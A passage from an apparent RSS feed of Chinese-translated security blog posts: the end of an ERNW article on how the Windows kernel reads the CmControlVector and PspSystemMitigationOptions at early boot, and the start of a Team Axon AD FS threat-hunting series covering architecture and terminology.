13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">的读取也在此阶段完成。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Phase 1 继续进行完整的系统初始化，启用多任务处理，并初始化设备驱动程序和系统服务。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这也解释了为何 Procmon 始终未能捕获相关注册表访问：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">在 Phase 0 期间处理，彼时驱动程序和用户态工具尚不可用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来探讨一个核心问题：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">是什么，又是如何被处理的？本质上，它是一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CM_CONTROL_VECTOR</span></code><span leaf="">类型的数组。以下列表提供了概览，并展示了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">对应的字段值：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pKeyPath</span></code><p><span leaf="">：注册表路径的 Unicode 字符串。此处为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Session Manager\Kernel</span></code></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pValueName</span></code><p><span leaf="">：值名称的 Unicode 字符串。此处为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions</span></code></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pTargetBuffer</span></code><p><span leaf="">：指向目标缓冲区的指针，可能包含默认值。此处为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">，无默认值。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pSizeOptional</span></code><p><span leaf="">：指向预期数据大小的指针。此处为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptionsLength</span></code><span leaf="">，值为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x18</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">typeOptional</span></code><p><span leaf="">：可选类型字段。此处未设置。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">flagsOptional</span></code><p><span leaf="">：可选标志字段。此处同样未设置。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">内核初始化期间，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">逐条遍历。每个条目用于从注册表读取一个值，结果随后存入对应的目标缓冲区——在本例中即为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">。这也证实了该注册表值确实仅在早期启动时读取一次，随后存入全局变量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">，此后该全局变量只被读取，不再被修改。然而，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">仅是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">的一小部分——以 Windows 11 LTSC 24H2 为例，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">共包含 563 个条目。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为深入分析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">，我编写了一个小型 IDA 脚本来提取相关信息。部分目标缓冲区 (如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">) 有符号名称引用，另一些则是匿名的。为进一步分析，脚本还收集了每个目标缓冲区的交叉引用，以便确定哪个内核组件使用了特定的配置条目。实际上，只有少数条目没有符号名称，且大多与内存管理器相关——从注册表路径以及使用该变量的函数可以清楚地看出这一点。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">提取数据的脚本可在此处获取，完整结果列表可在此处查阅。此外，我还整理了一些统计信息，发布于此处。该统计文件列出了各条目是否设置了 size、type 或 flags 选项，以及各变量被哪个内核组件使用，分类依据为函数前缀。需注意，私有前缀与非私有前缀被分开列出，例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Etw</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Etwp</span></code><span leaf="">。未对这些前缀进行归一化处理，原因在于某些情况下 (如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PnP</span></code><span leaf="">) 自动分组会产生歧义。此外，部分组件以私有/内部前缀代替，例如内存管理器使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Mi</span></code><span leaf="">前缀。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如有兴趣，以下是 ERNW 近期发布的其他 Windows 内核相关研究成果：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Windows Hell No for Business @ Black Hat USA 2025</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">相关博文：Windows Hello for Business - Faceplant: Planting Biometric Templates</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">相关博文：Windows Hello for Business - The Face Swap</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">相关博文：Windows Hello for Business - Past and Present Attacks</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WinpMem: Volatility&#39;s driver that lets malware volatilize @ Recon 2025</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">相关白皮书发布</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Jigsaw RDPuzzle: Piecing Attacker Actions Together</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://insinuator.net/2026/04/windows-early-boot-configuration-the-cmcontrolvector-and-pspsystemmitigationoptions/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ca8c2417&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495864%26idx%3D2%26sn%3D0c2d945b9174141a0586f31e91c3df1a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Apr 2026 13:10:00 +0800</pubDate>
    </item>
    <item>
      <title>AD FS 威胁狩猎，第一部分：架构、工作流程与适配器攻击</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495830&amp;idx=1&amp;sn=323eb31d91ee8bd66b9c9b4b1c2321ff</link>
      <description>深入介绍 AD FS 架构与身份验证工作流程，解析基于 DLL 适配器注入的内存攻击手法，为全系列威胁狩猎奠定理论基础。</description>
      <content:encoded><![CDATA[<p><span>Team Axon</span> <span>2026-04-27 14:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=73a34ba5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSg36icF9wQMLHXsRISPicbKvMKZy67BlkMrdib74Zntj8d4RcdpTf0WOHYzEHAubdULJibkVKIGbuLJqFqHhAAN9bsC819oqQYibz4A%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深入介绍 AD FS 架构与身份验证工作流程，解析基于 DLL 适配器注入的内存攻击手法，为全系列威胁狩猎奠定理论基础。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.hunters.security/en/blog/adfs-threat-hunting#title2" target="_blank">https://www.hunters.security/en/blog/adfs-threat-hunting#title2</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Team Axon</span></p></td></tr></tbody></table><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">概述</span></strong></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Active Directory 联合服务（AD FS）是 Microsoft 开发的本地身份提供商 (IdP) 解决方案，用于实现安全的 SSO 身份验证，并在本地 Active Directory 环境与第三方 SaaS 应用之间建立信任关系。AD FS 采用基于声明的访问控制模型，兼顾应用安全与联合身份管理——简而言之，它允许管理员自定义访问特定对象所需的属性。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">作为内部托管的身份管理方案，AD FS 本身暴露出较大的攻击面，已被 </span><em><span leaf="">NOBELIUM</span></em><span leaf="">等国家级 APT 组织通过多种手段在实战中利用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2022 年，Team Axon 研究了 AD FS 相关攻击向量，并形成了相应的检测方法与威胁狩猎实践。本文将系统介绍 Active Directory 联合的多类攻击向量。本系列第一部分聚焦 AD FS 基础知识、身份验证流程，以及针对该服务的内存适配器攻击；下一部分将深入探讨安全令牌滥用攻击。读完这两部分，您将掌握有效狩猎、检测和理解 AD FS 上各类相关攻击的能力。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">先从基础说起：AD FS 是什么？</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">21 世纪初，随着 IT 与云产品的普及，企业对能够集中管理和审计员工身份与认证的解决方案需求日益迫切。为此，Microsoft 于 2003 年推出了 Active Directory 联合服务 (AD FS)，以配合当时 Active Directory 的大规模应用。AD FS 允许组织内的用户使用标准的 Active Directory 凭据访问第三方应用程序，并采用基于声明的访问控制授权模型来保障应用安全、实现联合身份（详见下文）。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Azure Directory Federation Services relationships" class="rich_pages wxw-img" data-ratio="0.18773006134969325" data-type="png" data-w="815" style="max-width: 100%;" data-imgfileid="100012146" src="https://wechat2rss.xlab.app/img-proxy/?k=eeadcf0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgFqfYciaONjzCrsUXuuHgpvF1kKpH6XbkbiaTgBlHugwUaOhkmjhZCY4sDTiaFY0CBo8UgWgibZCCctQVrpZ0GLClcF41H5icbBib8M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Azure Directory Federation Services relationships</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">图 1：AD FS 关系图</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此后，Microsoft 还推出了 Azure AD（即现在的 Entra ID）等托管 SaaS 方案，如今已成为&#34;低接触&#34;身份管理的行业标准。需要注意的是，如果您已在使用 Azure AD，本文讨论的攻击向量与您并不相关。但在大型组织中，两者并行使用的情况相当普遍，因此建议进行内部排查，确认组织中是否部署了 AD FS。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在正式展开之前，先了解几个贯穿全文的重要 AD FS 术语：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">服务提供商 / 依赖方</span></strong><span leaf="">：服务提供商（又称依赖方）是指不驻留在本地 Active Directory 内、需要借助身份提供商 (IdP) 进行外部认证的应用程序。这类第三方应用被配置为通过联合服务完成认证，因此称为&#34;依赖&#34;该服务。需要注意的是，服务提供商本质上是一个对象，包含认证所需的各类标识符和规则。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">声明</span></strong><span leaf="">：关于用户的陈述，例如用户的电子邮件地址、UPN 等。声明可通过声明规则进行逻辑处理，以适配不同的目标对象。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">联合</span></strong><span leaf="">：已建立联合信任关系的一对领域或域——即在两个不同组件之间启用认证信任。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">安全令牌</span></strong><span leaf="">：包含一个或多个声明的加密签名数据单元。在 AD FS 中，签名的安全令牌表明颁发它的联合服务器已验证了联合用户的真实性。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 